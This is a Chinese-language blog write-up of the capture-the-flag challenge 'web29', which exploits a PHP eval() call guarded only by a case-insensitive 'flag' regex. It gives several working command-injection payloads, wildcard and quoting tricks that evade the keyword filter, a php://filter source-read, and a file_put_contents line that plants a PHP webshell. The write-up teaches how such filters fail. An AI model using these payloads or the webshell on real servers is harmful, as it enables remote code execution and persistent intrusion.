web29笔记(过滤flag)

背景知识 拿到题目,可以看到通过eval函数可以执行php代码或者系统命令,其中过滤了flag。

$_GET[c]的意思是我们输入c参数; pregmatch是正则匹配是否包含flag,if(!preg_match("/flag/i", $c)),/i忽略大小写,如果输入参数中不包含flag的大小写,则进入if判断内部。

还有/m等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html

eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval内执行的是php代码,必须以分号结尾。eval和其他函数的对比

可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480

分别以如下方法尝试拿到flag:

1、直接执行系统命令

?c=system("tac%20fla*"); 利用tac与system结合,拿到flag

因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system("ls"); 来查看到底在哪里。

2、内敛执行 (反字节符)

?c=echo%20`tac%20fla*`;

注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。

3、利用参数输入+eval

?c=eval($_GET[1]);&1=phpinfo();

试一下,没问题,可以看到phpinfo的信息。 然后就使用?c=eval($_GET[1]);&1=system(ls);看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system("ls%20/");看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。

4、利用参数输入+include

这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php (参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

也可以尝试写入木马 file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 访问alb34t.php,然后就可以连马。

5、利用cp命令将flag拷贝到别处

?c=system("cp%20fl*g.php%20a.txt%20");

然后浏览器访问a.txt,读取即可。

 

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

模式分隔符后的"i"标记这是⼀个⼤⼩写不敏感的搜索 模式中的\b标记⼀个单词边界,所以只有独⽴的单词会被匹配,如:

if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) : True

if (preg_match("/\bweb\b/i", "PHP is the website scripting language ofchoice.")) : False

⼩技巧:如果仅仅想要检查某个字符串是否包含另外⼀个字符串,不要使⽤ preg_match() , 使⽤ strpos() 会更快。 即 $c 不能匹配到⼤⼩写的flag 

linux知识:通配符 * 匹配任何字符串/⽂本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何⼀个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何⼀个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意⼀个字符 ls file 0 对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制

payload: ?c=system('tac f*');

 

posted @ 2025-03-14 17:06  justdoIT*  阅读(28)  评论(0)    收藏  举报